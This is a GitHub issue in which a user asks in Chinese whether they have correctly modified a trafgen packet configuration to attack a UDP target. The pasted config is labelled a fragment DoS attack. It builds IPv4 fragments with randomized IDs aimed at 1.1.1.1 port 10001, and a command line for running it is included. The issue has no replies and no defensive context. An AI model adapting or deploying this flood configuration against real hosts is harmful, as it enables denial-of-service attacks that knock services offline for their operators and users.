Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

大佬请问攻击udp是这样修改的吗 #11

Open
lem0nb opened this issue Jan 29, 2022 · 0 comments
Open

大佬请问攻击udp是这样修改的吗 #11

lem0nb opened this issue Jan 29, 2022 · 0 comments

Comments

@lem0nb
Copy link

lem0nb commented Jan 29, 2022

假设攻击ip为1.1.1.1 端口为10001
`

  • Command example:
  • trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
  • Note: dynamic elements "drnd()" make trafgen slower
    */
    // trafgen packet conf for fragment DoS attack
    // -------------------------------------------
    // - Need to randomize the frag ID
    // - Use trafgen support for dynamic checksum recalc
    //
    // Checksum cannot be fixed with iptables:
    // iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
    // Because traffic is injected a place which don't have any NF hooks
    //

{
// --- Ethernet Header ---
0x00, 0x1b, 0x21, 0x3c, 0x9d, 0xf8, // MAC Destination
0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4, // MAC Source
const16(0x0800), // Protocol

// --- IP Header ---
// IPv4 Version(4-bit) + IHL(4-bit), TOS
0b01000101, 0x00,
// IPv4 Total Len
const16(40),

// ID, notice runtime dynamic random
drnd(2),

// IPv4 3-bit flags + 13-bit fragment offset
// 001 = More fragments
0b00100000, 0b00000000,

64, //TTL
17, // Proto UDP

// Dynamic IP Checksum (notice offsets are zero indexed)
csumip(14, 33),

192, 168, 51, 1, // Source IP
1, 1, 1, 1, // Dest IP

// --- UDP Header ---
// As this is a fragment the below stuff does not matter too much
const16(48054), // src port
const16(10001), // dst port
const16(20), // UDP length

// UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
// which is csumudp(14, 34), but for UDP its allowed to be zero
const16(0),

// Payload
'A', fill(0x41, 11),
}`

大佬请问是这样改的吗
感激不尽

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant